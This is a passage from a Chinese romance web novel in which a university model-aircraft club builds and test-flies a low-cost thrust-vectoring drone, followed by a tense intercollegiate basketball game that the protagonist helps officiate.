她想起苏澜霏和自己说她喜欢他想要追他时心里的不舒服;想起自己说要和他“保持距离”时胸口闷闷的疼痛;想起在他偶尔靠近时失控的心跳和脸颊的温度;甚至想起刚刚在楼下……她除了一开始的慌张,似乎……并没有真正的厌恶? 这个后知后觉的认知让夏篱愣在原地许久,随后她匆匆洗漱完,几乎是逃也似地爬上了床,拉紧窗帘,将自己隔绝在一个小小的私人空间里。 黑暗中,感官变得格外敏锐。 她能听到自己如擂鼓般的心跳,能清晰地回忆起唐简说每一句话时的语气和眼神。 夏篱突然意识到,她不得不开始正视自己内心那些被忽略的、或者说被她刻意压抑的激动。 也许翡翡早就看出来了……和其他见他们二人第一眼就调侃他们最终会走在一起的人不同,所以她才会说出那句“天机不可泄”,执意让她自己悟。 也许……她对唐简,早就不仅仅是“发小”之情,只是那感情埋藏得太深,伪装得太好,以至于连她自己都骗了过去。 而现在,唐简率先明白过来并且亲手撕开了那层伪装,将一切摊开在她面前,令她无处可逃。 可是所以呢? 她该怎么办? 接受吗? 可是……他们之间二十年的关系,如果……如果最后失败了,别说发小,岂不是连朋友都没得做了吗? 这个风险太大了,夏篱简直不敢想。 拒绝吗? 可是……一想到要拒绝,要把他推远,推给任何一个她不认识的人,心口那股尖锐的疼痛又是如此的真实。 夏篱在床上翻来覆去,思绪像一团乱麻,越理越乱。 不知过了多久,连方茴何时关灯上床她都没发觉,才在纷乱的思绪中沉沉地睡去。 睡梦中,她仿佛又回到了小时候,唐简牵着她的手,两个人跌跌撞撞地在一片白雾中奔跑,却怎么也找不到出口。然后唐简忽然停下来,低头看着,很认真很认真地说:“阿篱,别怕。我会一直陪着你。” 第二天,夏篱是顶着两个黑眼圈醒来的。 她睡得并不安稳,梦里光怪陆离,醒来时只觉得头脑发沉。 夏篱出门时宿舍里还是静悄悄的,到楼下看到唐简的刹那,她才忽然意识到,从昨晚他离开到现在,她满脑袋都是他,竟然都没再想过梁清波的事。 ……此刻她甚至不得不怀疑他可能就是为了不让自己想太多关于梁清波的事才故意那么做的。 ——可因为她而睡不着和因为他而失眠结果也并没什么不同啊。 “没睡好?”果然刚见面,唐简就抬手蹭了蹭她有些泛青的眼底。 夏篱忽然就觉得好气。 双手抱胸幽幽仰头看着他,龇牙咧嘴地笑,“是啊,托你的福,梦了你一晚上呢。” 第63章 唐简的手指还停留在她眼下, 那轻柔的触感因为她这句话而蓦地顿住,深邃的眼底飞快地掠过一丝讶异。 而夏篱话说出口就后悔了,尤其是看到他眼中瞬间燃起的亮光, 更是恨不得咬掉自己的舌头。 她怎么能就这样把心里话说出来?这跟直接举手投降有什么区别? 夏篱强装镇定,故意用力对着唐简“哼”了声, 试图用气势掩盖心虚,继续抱着双手盯着他道,“梦见你变成了一只聒噪的大青蛙,在我耳边呱呱呱叫了一晚上……真是太讨厌了。” 被人骂青蛙,唐简也不生气, 眼里的笑意藏不住, 如同破开云层的阳光, 瞬间盈满眼底。看低头假装忙碌挪挪屁股整理衣服的夏篱, 抬手揉了下她发顶,推她往前走的同时,语气里是压不住的愉悦:“那看来下次我得小点声, 免得某些人睡不好,还要怪我入梦太吵。” 夏篱:“……” 想得美,哪来的下次。 清晨的空气带着沁人心脾的凉意, 阳光穿过洗漱的职业,在路面上投下斑驳的光影。两人之间弥漫着一种微妙而亲昵的沉默, 仿佛昨晚那未尽的对话和悸动,都融化在了这秋日的晨光里。 周五夏篱只有一上午的课, 中午吃完午饭就带着电脑去了图书馆。 学校暂停批复,意味着他们无法获得预期的经费来制作高精度的实验件,所以原先边做边等的计划必须暂且搁置,也必须调整第一步的目标。 一下午的时间过得飞快。 唐简下课来接夏篱去吃晚饭时, 她在路上还在不停跟他说着下午自己完成的计划PPT……而这种事好像是会传染一样,孙翡端着餐盘找到他们时,竟也叽叽喳喳地说着从昨晚回去她也查了多少关于飞控调试的资料,兴奋之情溢于言表。 晚上快七点,当三人推开307实验室的门,发现人都到得差不多了。 “人都齐了,那我们开始?”周予没有废话直接开口,随即看向夏篱,“学妹来。” 夏篱点点头,操控轮椅来到会议桌前,唐简自然地将她的电脑连接上投影仪。 “各位,”夏篱开口,声音清晰而平静,“感谢大家留下来。情况昨天周社长已经在群里说得很清楚,这里我们不再赘述。” 投影幕布上亮起她下午整理的思维导图和工作计划框架。 “学校暂停批复我们的项目,意味着我们无法获得预期的经费来制作高精度的实验件。所以,我们先前边做边等的目标计划需要调整。不再是追求高性能的最终设计,而是用最低的成本、最短的时间,打造一个能够动态验证我们核心设计思路的‘简化版概念验证机’。” 她顿了顿,目光扫过众人:“这个验证机,可以很粗糙,数据可以不完美,但它必须能飞起来,能直观地展示矢量推进的基本工作原理和与仿生飞控算法结合的初步效果。我们要用它向所有人证明,我们的技术路线是可行的,我们的团队是有执行力的。” “我初步设想,这个验证机可以基于现有的450级或550级航模框架进行改装,”夏篱切换PPT展示出几张示意图,“动力系统可以选用市面上容易获取、成本较低的盘式电机配合改装的小型舵机来实现最简单的矢量偏转;飞控板用社里现有的F4或F7开源飞控,我们自己烧写算法;结构部分则大量采用3D打印件,不求轻量化最优,只求功能实现……” 她条理清晰地阐述着整体方案,每个部分都充分考虑到了低成本和高效率的实现可能。 “接下来是分工。”夏篱看向众人,“我们需要成立几个临时小组,并行推进。” “我、唐简和何晓雯学姐负责飞控算法,牵头简化版的仿生飞控和矢量控制逻辑,争取两天内尽快拿出一个基础版本,能够实现基本的姿态控制和简单的矢量喷口联动。” 何晓雯推了推眼镜,闻言干脆地点头:“没问题。” 夏篱继续看向王海,“王海学长,简化版验证机对材料要求不高,但结构强度需要保证。请你负责验证机的整体结构设计和3D打印机的图纸输出,兼顾打印效率和基本强度。” 王海比了个OK的手势,“材料我用最普通的PLA,结构设计上可以做优化补偿强度损失。” “张铭轩学长,请你负责飞控硬件平台的搭建和传感器信号的采集调试,确保算法能跑起来,数据能收得到。” “陈默学长照之前计划负责自主导航系统。” “社长……除了对外资源对接,也照计划负责载荷舱设计。” “林曦学姐,后期数据的可视化处理和分析就麻烦你了,我们需要直观的图表来展示效果。” “赵鹏学长,后勤协调和进度跟踪还是要辛苦你。” “刘淌,”夏篱看从显得异常沉默的刘淌,“你动手能力强,验证机的整体组装、电机和舵机的安装调试,由你主要负责,翡翡会协助你,麻烦你多带带她。” 刘淌看了看热情跟他挥手打招呼的孙翡,只是点头“嗯”了声。 最后,夏篱扫视众人,深深吸了一口气,“想必大家也清楚我们现在时间紧迫,学校既然没有一棒子打死我们的项目,那我们就还有殊死一搏的机会……所以我希望最晚一周后,下周六可以看到我们的成品,飞起来。” “下、下周六?”张铭轩闻言惊呼一声,“这这有点不太现实吧学妹?十天都未必能完得成。” 夏篱还没来得及说话,孙翡倒是兴奋一拍手,“怕什么!有志者事竟成!不怕不做就怕想都不敢想!我相信篱篱,我们最后一定能成!” 王海虽然也深深怀疑其可能性,但已经到了这节骨眼再说退缩的话也就太扫兴了。闻言也跟着孙翡拍了两下手,“学妹说得对!有志者事竟成!不怕老天瞎就怕老天不开眼!我就还不信了!” 他一边说着一边看着其余几人用力拍着手,试图召集大家一块自己给自己打气……虽然夏篱觉得这样有点傻,但还是跟着他笑着一起拍起手来,然后是周予陈默唐简何晓雯…… 最后一屋子几个人还真就跟犯了中二病似的疯狂笑着点头边说“好好、可以可以,我们一定可以”边用力拍手你看着我我看着你…… 偌大的工程楼里只有零星几间教室的灯亮着,只有307实验室的里的笑声隔着玻璃窗在深秋的夜色里传了很远很远。 接下来的日子,团队的氛围是前所未有的凝聚,每个人都像上了发条一样。 工作进程几乎占据了所有人除上课外的所有闲暇时间。 何晓雯埋头在算法世界里,与夏篱的邮件往来频繁到几乎要烧起来,两个同样聪明且专注的女生,在技术碰撞中竟生出几分知己之感。王海对着那台老旧的3D打印机,反复调整参数,试图用最普通的PLA材料打印出能满足基本轻度要求的矢量喷口结构件。张铭轩则在捣鼓一块二手淘来的开发板,试图让它能同时兼容新旧的通信协议。 唐简几乎是全能型选手,从硬件改装道软件调试,从动力计算到结构加固,哪里需要他就出现在哪里。而让夏篱不得不惊奇的是,他总能精准地察觉到她的压力节点,在她因为某个技术难点卡壳而略显焦躁时,或是用最简洁的语言提出一两个关键问题,或是分享一个看似不相干却总能带来启发的思路。 而孙翡则进步神速。 在流淌的帮助下,她很快熟悉了飞行模拟器的操作,那双在金工课上就展现出惊人天赋的手,对飞控参数调整有着野兽般的直觉。常常夏篱和何晓雯在算法层面优化后的参数,经她微调后,在模拟器上表现出来的性能还能再提升一节。 期间,关于陆子航那边资源充裕进展顺利的消息不时传来,而唯一能让他们憋足一口气不管不顾一脑门直冲向前的,就是学校那边同样没有直白“支持”他们的正式公告出来。 但夏篱他们整个过程也并非一帆风顺。 材料打印时出现翘边变形,重新调整参数;电路板焊接有虚焊,排查重来;飞控算法在实测试中出现未曾预料的震荡……等等问题不断出现。 这天晚上,测试又遇到瓶颈。 简化版的飞控算法在仿真里运行良好,但一到实物上,就因为传感器噪声和执行器延迟导致机体剧烈震荡,根本无法稳定。 何晓雯眉头紧锁,一遍遍调整参数,效果甚微。 “噪声太大,算法鲁棒性不够。”她有些沮丧。 张铭轩也忍不住叹了口气,“传感器本身精度有限,硬件限制在这里。” 实验室里气氛有些沉闷,连续的高强度工作和眼前的难题让大家都有些疲乏。 夏篱眉头也皱着,盯着震荡的数据曲线,“能不能从算法层面滤波或者预估补偿?” 一旁一直沉默地看着那台不断抖动的简陋样机的唐简,忽然开口:“试试改一下控制频率。” 所有人都看向他。 “降低主控循环频率,”唐简解释道,“牺牲一部分响应速度,换取稳定性。噪声和延迟在更高频率下会被放大,但如果我们接受一个稍慢的系统,也许就能把它压制在可控范围内。就像开车,路太颠簸,开慢反而更稳。” 何晓雯眼睛一亮:“有道理!降低频率,相当于给了系统更多的‘消化’时间!我可以重新调整一下滤波器和控制器的参数匹配新的频率!” 她立刻坐下重新修改算法。 张铭轩也反应过来,去调整主控板的时钟设置。 修改、编译、下载、测试……这一次,当电机再次启动时,虽然反应变得略慢了些,但那种剧烈的震荡果然消失了!机体虽然还想有些晃动,但已经能够大致维持在一定的姿态范围内。 …… 周六一早,一个看起来有些简陋甚至滑稽的飞行器静止在实验室试飞台上。 它由一个十字形的PLA框架构成,四个臂的末端装着打印的电机座和廉价的螺旋桨,飞控板和传感器用扎带固定在中部,线路略显凌乱,但关键部位都做了加固。 这就是他们历经一周高强度工作试验出来的心血结晶——第一代低成本矢量验证机“探索者1号”。 虽然简陋,但它凝聚了团队几十次的仿真、迭代、打印、测试、失败、再修改的心血。 夏篱和何晓雯坐在笔记本电脑前实时监控飞控数据,唐简担任飞手,周予则举着手机准备记录。 其余所有人都屏住了呼吸,围在样机周围。 “电量检查?” “满电!” “传感器校准完成!” “地面站连接正常!” “遥控链路OK!” “安全防护就位!” “第一次悬停测试,开始!”夏篱下达指令。 唐简操控着验证机平稳升空,在低空保持悬停。机体虽有些晃动,但姿态基本稳定。 “悬停稳定。开始矢量喷口偏转测试。5度,左偏。” 验证机左侧喷口微微调整角度,机体开始缓慢左向平移。 “响应延迟0.15秒,偏转角度4.8度,存在稳态误差。”夏篱快速报出数据。 “收到。”何晓雯在另一台终端上操作,“算法补偿激活。” 机体晃动两下,平移逐渐平稳。 “10度,右偏。” “15度,仰俯。” “尝试‘8’字航线。” 一个个指令下达,验证机笨拙却坚定地执行着动作。每一次成功的姿态调整,都引来众人屏息凝神的关注。 最后一个指令完成,验证机平稳降落。 空气安静了一瞬,随即爆发出真正畅快的欢呼与掌声。 “成功了!成功了!”张铭轩激动地大喊:“虽然烂得像屎一样!但它飞起来了!” “……”何晓雯对他的感叹非常无语,但脸上难得也露出一抹明显的笑容。 “太好了太好了!”王海用力搂着刘淌的肩膀晃了晃,“结构没散架!承重也没问题!我们做到了!” 孙翡高举双手欢呼,周予更是激动地直接跳起来,狠狠抱住了旁边的陈默,差点没把手机摔了。 …… 夏篱长长舒了一口气,一直紧绷的肩膀终于松弛下来。抬头时,正好对上唐简看过来的目光。 他们从彼此的眼中同时看到了巨大的喜悦和如释负重——这虽然只是万里长征的第一步,性能远未达标,但这从零到一的突破,意义非凡。 当晚,周予将重新撰写的项目报告、详细的低成本验证方案、完成的测试数据记录以及一段精心剪辑的验证机是非视频,郑重提交给了学校。 报告末尾,他写道: ……我们无法选择出身,但可以选择如何战斗。我们用最低的成本,验证了最高的志向。我们或许缺乏资源,但我们从不缺乏信念、智慧与汗水。我们恳请学校,给予我们一个证明自己的机会,让北城大学的名字,铭刻在SAE高级组的赛场上。 邮件发送成功。 307实验室里,落针可闻。 这一次,他们交出的不再是一纸蓝图,而是一份沉甸甸的、用双手和智慧挣来的“证明。” 希望,如同暗夜中的火种,虽微弱,却顽强地亮在每个人眼中。 他们期待着—— 期待着一个应有的回响。 第64章 邮件发送成功的提示弹窗宣告着众人紧张、期待、以及一周来不眠不休奋力拼搏后的疲惫, 此时交织在空气里,沉甸甸地压在心头,又轻飘飘地托着希望。 短暂的静默后, 不知谁先长长地、深深地吐出一口气,仿佛卸下了千斤重担。成功的狂喜过后, 是更深的期盼和对未知结果的悬心。 “好了好了,东西都收拾一下,今天都早点回去休息!”周予站起身拍拍手,努力让自己的声音听起来轻松些,“这一周大家都累坏了, 明天周日, 都给我好好睡个懒觉!天塌下来也等周一再说!” 可是睡懒觉? 不存在的。 周日清晨的阳光透过宿舍窗帘的缝隙, 在地板上投下一道狭长的光带。夏篱醒得虽然比平时稍晚一些, 但宿舍里的其他人依然还沉浸在睡梦里。连续一周的高强度攻关让她的身体积累了些许疲惫,但精神却因为昨日的成功而保持着亢奋的余韵。 她轻手轻脚地洗漱完毕,小心地活动了一下脚踝。绷带已经完全拆除, 虽然动作稍大时仍能感到韧带深处传来一丝隐痛,但正常的行走已无大碍。 夏篱收拾好东西出门时打了个小小的哈欠,忍不住用力揉了揉脸。CUBAL分区赛日益临近, 队内训练赛频繁。当初程愈为照顾她脚伤,特意把需要她的赛程安排在月底, 但她也确实没料到第一次“上岗”就撞上航模社取得突破性进展的第二天。 这些年,其实她早已习惯忙碌紧张, 总是喜欢把自己一天的生活都安排得紧凑。有事情做,有喜欢的事情做,并为其努力和付出时间,让她会有一种满足感。她习惯这样的生活, 也喜欢这样的生活……但像今天这种明显的“疲惫感”她已经许久未体验过了。 夏篱到楼下,不意外看到唐简等在宿舍楼对面的草坪边上。 黑色飞行夹克和黑色工装裤,身高腿长,眼神清亮,看不出丝毫连日忙碌的倦怠。 夏篱看着唐简走近,歪着头认真地上下打量他,“你都不会累吗?” 明明他比自己有过之而无不及——因为这段时间他不仅要和他们一起想尽办法做试验机,还要忙自己的专业实验和篮球训练,可以说是一天劈成三天用。 先前一个多星期夏篱忙自己课程和试验机的事没有时间想这些,此时才突然发觉原先她总对他不服气,觉得凡是他能做到的她一定也行从而总跟他对着干的做法于一方面来说还真是有点“蠢”。 唐简对夏篱见面一开口的问话显然有些意外和摸不着头脑,“怎么这么问?” 夏篱摇摇头,转开话题,“今天训练赛对手是理工大,我查了下他们资料也搜了些他们平常的训练视频片段看,打法比较冲,而且今年势头好像很猛……我有段时间没看你们训练了,怎么样?” 唐简很自然地接过她手里的背包,闻言挑了挑眉,“理工大今年确实不一样,招了个很强的高中锋,内线冲击力很足,外线也有两个稳定的投手。他们教练强调身体对抗和快速反击,节奏拉得很快。我们最近针对他们的特点练了几套防守策略,效果还行,但实战怎么样,还得场上看。” “他们比赛录像我看过几段,小动作有点多,你们很容易吃亏。还有他们的快攻,侧翼的跟进也非常快,你们退防时的卡位很关键。” 唐简看她微微蹙眉专注的侧脸,眼底笑意加深,“可以啊鱼总,看样子下一步你都可以向教练进军了。” “……”夏篱没好气地锤了他一拳,“不听拉倒!” 唐简眼疾手快地拽住她,笑着道,“听听听,怎么不听……不过你要是能直白地说担心我我想我会更开心。” “…………”想得美。 下午两点,因为有许多特意从理工大赶过来给自家队伍助威支持的学生,篮球馆里人声鼎沸。 这场“交流赛”除了夏篱,另外两个裁判分别是理工大和交大的体育老师。 赛前裁判开会时,两人看到夏篱都有些意外,当然,还有一丝没太掩藏好的怀疑。 会议过后,夏篱心平气和地坐在记录台旁,身前是技术统计电脑和记录表。她的位置视野极佳,可以清晰地看到场上每一个细节。脚踝上虽然还贴着肌效贴,但专注的神情让她看起来和平时并无二致。 两点半,一切准备就绪。 “嘀——”一声长哨,比赛正式开始。 跳球环节,理工大的高中锋果然展现出惊人的弹跳力,轻松将球拨向己方后卫。理工大的进攻如潮水般迅速涌过半场,没有丝毫试探,第一次进攻就由他们的明星小前锋,一个身穿11号球衣、肌肉线条劲爆的男生,凭借强壮的身体扛着防守人强行冲击篮下,在空中有一个明显的拉杆动作避开封盖,将球打进! “好球!”理工大替补席瞬间沸腾。 攻防转换,北城大学显然有所准备。 程愈冷静运球过半场,唐简利用队友掩护快速空切,接到程愈的击地传球,顺势起步,面对补防的理工大中锋,他没有硬上,而是手腕一抖,一个写意的背后传球给到跟进的队友,后者轻松上篮得分! “漂亮!”北城大学替补位大吼一声。 这个配合堪称行云流水。 然而,这不过是激烈对抗的开始罢了。 理工大的防守强度极大,身体接触频繁,场上哨声开始增多。比赛节奏被拉得飞快,双方你来我往,比分交替上升。理工大的冲击力给北城大学的内线造成了巨大麻烦,而北城大学则依靠更默契的传导球和程愈、唐简的个人能力紧紧咬住比分。 比赛进行到第一节 末端,北城大学落后4分。理工大11号前锋再次持球强攻篮下,他利用速度和力量及开防守人,起跳上篮。协防过来的北城大学中锋奋力起跳封盖,两人在空中发生剧烈身体碰撞! “砰”的一声,两人同时到底,篮球砸筐而出。 作为主裁的理工大老师的哨声几乎同时响起!负责跟进的副裁判毫不犹豫地指向北城大学中锋,示意防守犯规。 北城大学中锋当即从地上跳起来,摊开双手一脸难以置信地向裁判申诉,认为这是一个合理的对抗。 北城大学替补队和看台上主场观众也爆发出巨大的嘘声和不满。 此时,所有人的目光都聚焦在主裁身上。副裁判小跑到他身边,两人进行短暂的交流。场面一度有些混乱。 夏篱快速观察着两人神色,就在主裁似乎有些犹豫,准备听取副裁判意见维持原判时,夏篱清亮而果断的声音通过记录台的话筒清晰地传了出来:“注意进攻球员起跳后非持球手有明显的推人动作。” 她的声音不大,但在裁判的耳机里却异常清晰。 夏篱看得非常清楚,理工大11号在空中为了创造空间,他的左臂有一个隐蔽但发力明显的推搡动作,正好推在北大中锋的胸口,这才是导致对方失去平衡的主要原因。 主裁闻言下意识回头看了眼记录台的方向愣了愣,立刻再次看向副裁判,两人极快地交换了眼神。主裁随即作出手势,示意比赛暂停。他跑到技术台前,要求观看录像回放。 全场观众都屏息凝神盯着大屏幕。回放画面清晰地显示,理工大11号的上篮动作确实伴随着一个不必要的推人动作。 看完回放,主裁返回场地,过段地作出改判手势:取消北城大学中锋的防守犯规,改判理工大11号进攻犯规!球权转换! 北城大学替补席一片沸腾,中锋激动地回了下拳头。理工大教练在场边激动地向技术台抱怨,但判罚结果已定。 唐简跑回后场准备发球时,目光不经意地扫过记录台,与夏篱的眼神有一瞬间的交汇。 第二届比赛,北城大学逐渐适应了对方的强度,开始利用整体配合掌控节奏。一次成功的防守后,程愈抢下后场篮板,直接发动长传找已经快下的唐简。 唐简如同离弦之箭,在中线附近街道球,面前只有一名退防的理工大球员。他大步流星运球冲向篮筐,防守球员且战且退,试图干扰他的节奏。就在所有人都以为唐简要直接上篮或者传球给跟进的队友时,他在三分线外一步突然毫无征兆地急停、收球、起跳! 他的投篮动作流畅而舒展,带着一种绝对的自信。 防守球员完全没料到他会在这个距离选择偷懒,扑防慢了一拍。 篮球在空中划出一道极高的弧线,“唰”的一声,空心入网! 一记精彩的追身三分球! “Wow——!!” 全场惊呼,随即爆发出震耳欲聋的喝彩!这个选择大胆又冷静,极大地提振了士气。 然而理工大学之所以能成为黑马,绝非浪得虚名。他们的11号前锋在被垂了一次进攻犯规后,非但没有收到影响,反而被激起了更强的斗志。 一次成功的防守后,理工大抢断得球!篮球鬼使神差地落到了三分线外无人盯防的11号手中!他面前一片开阔! “孙起!!投啊!!!”理工大替补席爆发出急切的喊声。 孙起没有丝毫犹豫,屈膝、起跳、举球、拨腕——动作一气呵成!篮球划出一道高高的、略显平直的弧线,朝着篮筐飞速冲去! 所有人的心都提到了嗓子眼。 “砰!” 篮球重重地砸在篮筐后沿,高高弹起!没进! 看台上一片惋惜的叹息。 就在这时,那个弹框而出的篮球,不偏不倚,正朝着记录台、朝着夏篱的方向砸落下来!速度极快! “小心!”远处不只是谁惊呼一声。 夏篱下意识地想起身躲开,但右脚猛踏地面脚踝瞬间传来的刺痛让她动作慢了半拍,眼看那橘红色的球体直冲着她脑袋而来—— 电光石火间,一道黑影以不可思议的速度从斜侧里猛冲过来!是唐简!他几乎是在篮球弹球框的瞬间就预判了落点,如同扑食的猎豹,不顾一切地飞身跃起,长臂在空中极限伸展! “啪!” 他硬生生在半空中,用指尖将那颗高速坠落的篮球狠狠捅飞!篮球改变方向,砸在旁边的广告牌上,发出一声可怖的闷响。 巨大的惯性让唐简在落地时无法完全控制身体,踉跄着向前冲了几步,膝盖重重地摩擦在地板上,发出一声令人牙酸的响声,单膝跪地缓冲了一下才勉强稳住身形。 唐简急促地喘息着,汗水顺着额角大颗大颗地滴落在地板上,迅速洇开一小片深色。 第65章 整个球馆瞬间安静下来, 所有人都被这惊险的一幕和唐简奋不顾身的飞身救险惊呆了。 他急促的喘息声在突然安静的场馆里显得格外清晰,汗水从他轮廓分明的下颌线滴落,砸在逛街的地板上。 夏篱惊魂未定, 心脏在胸腔里狂跳,几乎要撞出来, 她下意识站起身,目光紧紧锁在唐简身上。 “没事吧?”程愈第一个冲到唐简身边,伸手扶他。 唐简摆摆手,借着程愈的力道站起身,活动了一下右腿膝盖。 篮球短裤下膝盖擦伤的皮肤渗出血迹。 “没事, 只是擦了一下。”他说着, 视线本能地去找夏篱, 看到她无碍反而难掩担心地看着自己。 没事儿。 他飞快用口型说了一句。 但裁判还是吹停了比赛。 北城大学教练示意队医上场给唐简做简单处理, 这时理工大的孙起走过来,脸上带着一丝看不出来的歉意,看着唐简道, “哥们对不住,没控制好力度。” 唐简看了他一眼,目光有些冷, “这歉也不该对着我说吧。” 孙起闻言高高扬了扬眉毛,回头去看记录台的方向, 见夏篱的目光也在他们这里,食指和中指贴着太阳穴弹开冲着她做了个手势。 夏篱有些无语。 赛场上的突发状况时有发生, 虽然很大一部分都令人难以控制,但这并不代表不会有人有意为之。 夏篱不想以最坏的一个想法去怀疑一个人,但就像唐简能在篮球撞击篮板的瞬间提前预判其弹开的路线一样,她直觉如孙起这样强能力球手的预判能力并不会比他的差。 而假如真的像自己所想的那样, 这个11号的“报复”约莫是跟上半场那个推人判罚有关。 …… 比赛中断了两分半。 北城大学的队员们围在唐简身边,气氛有些凝重。原本就因为理工大的高强度对抗而打得异常艰难,现在核心球员之一受伤,哪怕只是轻伤,也可能影响状态和士气。 比赛重新开始,唐简依旧留在场上。 他的跑动似乎没有受到太大影响,但夏篱注意到,他在做急停、变向和起跳落地时,右腿的动作会下意识地变得稍微谨慎一些,不如之前那般全力爆发。 理工大学显然也察觉到了这一点,他们的防守策略开始更具针对性,试图更多地冲击唐简这个点,消耗他,考验他带伤的膝盖。 比分依旧咬得很紧。 北城大学依靠整体配合苦苦支撑。 唐简减少了个人的强行突破,更多地利用经验和传球串联球队。 孙起的状态愈发神勇,里突外投,几乎不可阻挡。他的冲击力给北城大学的内线造成了巨大的杀伤力,犯规次数快速累积。 距离全场比赛结束还有最后三分钟,北城大学落后5分。球权掌握在北城大学手中,程愈控球,压着节奏寻找机会。 唐简截住双掩护兜出来接球,孙起紧跟不舍。接球的瞬间,唐简做了个逼真的投篮假动作,孙起吃晃跃起——唐简顺势压低重心,忍着右膝的不适,加速从另一侧突破! 补防瞬间到来,唐简没有贪功,在人缝中将球分给切入底角的队友。 空位!机会! 或许是压力太大,或许是体力下降,队友的投篮弧度很平,重重砸在前框弹起。 篮下一片混乱,无数手臂伸向空中。 唐简咬牙奋力起跳,在人群中艰难地将球点拨出来,程愈抢到球,再次组织。 进攻时间所剩无几,程愈强行突破,高难度后仰跳投! 球在篮筐上颠了两下,最终还是滑筐而出。 理工大学保护下后场篮板,立刻发动反击。他们的推进速度极快,北城大学退防稍慢一步,形成了前场多打少的局面。 球经过几次快速传递,再次到了手感火热的孙起手中。他面前只有一名防守球员,因此毫不犹豫地起步冲击篮筐。 “嘀——!” 哨声响起,打手犯规!进球无效,但孙起获得两次罚球机会。 此时比赛时间仅剩最后48秒,分差5分。 如果孙起两罚全中,分差将扩大到7分,比赛几乎失去悬念。 北城大学教练请求了暂停。 队员们走下场地,气氛压抑。 暂停结束。 孙起站上罚球线,场馆内响起巨大的干扰声。他顶住压力,第一罚,命中。第二罚,再次命中。 77:83,分差7分。 时间只剩下不到40秒。 北城大学快速发球,程愈运球过半场,直接抢投一记三分!篮球划过一道高高的弧线—— 唰! 空心入网! 80:83! 全场沸腾!希望重燃! 北城大学替补席瞬间炸开,嘶吼声几乎要掀翻球馆顶棚!80:83!只剩最后不到40秒!希望如同绝境中骤然擦亮的火柴,微弱却灼目! 程愈的这记三分如同一针强心剂,狠狠扎进每个北城大学队员的心脏。但他们没有时间庆祝,甚至来不及击掌,所有人眼神碰撞的瞬间,只有一个指令——犯规!立刻执行犯规战术! 离球最近的队员毫不犹豫地扑向刚接到底线发球的理工大控卫。 “嘀——!”哨声尖锐。 犯规次数已到,理工大控卫站上罚球线。球馆内噪音瞬间拔高到极致,巨大的声浪试图干扰他的心神。 唐简站在三分线外,双手撑着膝盖,胸口剧烈起伏,看向记分牌的眼神锐利如刀。 还有机会,只要对方罚丢一个…… 第一个罚球。理工大控卫调整呼吸,出手——球在空中旋转,划出弧线……砰!砸在后框弹起!没进! “yeah——!”场边爆发出欢呼。 第二个罚球。压力全然压在了罚球者肩上。他深吸一口气,拍了两下球,再次出售。篮球磕磕绊绊地在篮筐上颠了几下……最终还是掉了进去。 80:84. 分差4分,时间还剩32秒。 北城大学立刻请求暂停。 “稳一个两分!快速两分!”教练语速极快,战术板上的壁画简洁有力,“打这个配合,唐简,你和程愈交叉掩护,找错位机会,或者给空切!拿到两分后立刻犯规!” 暂停结束。 北城大学前场发球,球顺利给到程愈手中。 唐简迅速上前做一个扎实的掩护,挡住程愈的防守人,程愈趁机摆脱,但理工大的换防极快,孙起如同跗骨之蛆立刻补到程愈面前。 进攻时间在一秒秒流逝。 程愈没有强打,将球回传给拉到高位的唐简。唐简接球瞬间,防守他的球员因为扑得太猛,脚下一个小踉跄! 一个极其短暂的空隙! 唐简没有丝毫犹豫,甚至没有去看脚下的三分线,直接起跳!干拔投篮!出手果决非常! 全场所有人的目光都聚焦在那颗飞向篮筐的篮球上。 孙起从侧面奋力扑来,指尖几乎擦到篮球的底部! 球在空中带着剧烈的旋转,轨迹似乎因此发生了一丝微不可察的偏折—— “砰!” 篮球重重砸在篮筐前沿,高高弹起! “篮板!”无数人嘶吼。 内线瞬间肌肉碰撞,乱作一团。 北城大学的中锋拼尽全力卡住未知,奋力起跳,将球狠狠拨向外线飞向程愈的方向! 程愈反应极快,捞住球,此时进攻时间仅剩最后4秒!他被迫运一步,在孙起的长臂封堵下强行后仰跳投! 难度极大!球的弧线很平—— “嘀——!”24秒进攻时间到的哨声几乎与篮球磕在篮筐侧沿的声音同时响起! 球权转换! 北城大学替补席一片抱头叹息。 机会出来了,只是差了一点运气。 时间只剩下最后8秒,分差仍是4分。 北城大学队员脸上闪过一丝绝望。 “犯规!快犯规!”场下教练焦急大喊。 离球最近的队员再次扑上去犯规。 “嘀——!” 理工大另一名队员再次走上罚球线。这次,他顶住了压力,两罚全中。 80:86。 时间只剩6秒! 胜负似乎已定,北城大学后场发球。 很多主场观众已经开始遗憾地叹息,甚至有人起身准备离场。 程愈接到罚球,快速推进过半场。孙起象征性地上前干扰了一下,并没有真正贴防,时间所剩无几,一次进攻难以挽回6分的差距。 就在所有人都以为程愈会运到前场尝试投一个毫无意义的三分时,已经快要跑过中线的唐简突然一个急停反跑,甩开防守人半步,举手要球! 程愈毫不犹豫地将球传了过去。 唐简在距离三分线还有两大步远的位置接球,时间仅剩最后三秒!他没有任何调整的时间,接球转身顺势起跳,身体因为惯性甚至有些后仰,几乎是在中场logo附近,将球奋力推射出去! 篮球如同出膛的炮弹,承载着最后一丝渺茫的希望,划出一道不可思议的超远弧线—— 全场寂静,所有人都仰着头,目光追随着那颗飞向篮筐的球。 篮球在空中飞行的时间仿佛被无限拉长。 唐简落地,眼睛死死盯着篮筐方向急促喘息着。 记录台后的夏篱也不由自主地屏住了呼吸,看着篮球飞到最高点,开始下落——轨迹直直坠向篮筐! “唰——!” 清脆无比的刷网声!空心入网! 压哨三分!球进灯亮! 83:86! 整个球馆陷入了刹那的死寂,随即爆发出难以置信的惊呼和雷鸣般的掌声!这记超远压哨三分,尽管无法改变失败的结局,却极大地捍卫了主场的尊严和球队的斗志! 理工大的队员脸上胜利的笑容微微有些僵硬,他们赢了比赛,却在最后时刻被这记石破天惊的三分夺走了所有光芒。 第66章 “嘀——!” 终场哨声正式响起, 比分定格在83:86。 尽管这记神仙球无法改变落败的结局,可至少不会让北城大学因为这场交流赛的主场失利而太过被打压士气,毕竟心气没了才是最可怕的。 程愈走上前, 用力拍了拍唐简的后背,其他队员也围上来, 虽然失落难掩,却也因为这最后一球,胸腔里堵着的那口闷气似乎也畅快了少许。 孙起看着被众人围住的唐简,眼神闪烁了一下,这才转身走向自己的队友。理工大的队员们在短暂的错愕后, 也恢复了胜利者的姿态, 互相击掌庆祝。 双方队员列队致意。 程愈作为队长, 虽然输了球, 但还是保持着风度,主动走向理工大学队长握手。唐简跟在队伍里,与对方队员逐一击掌。轮到孙起时, 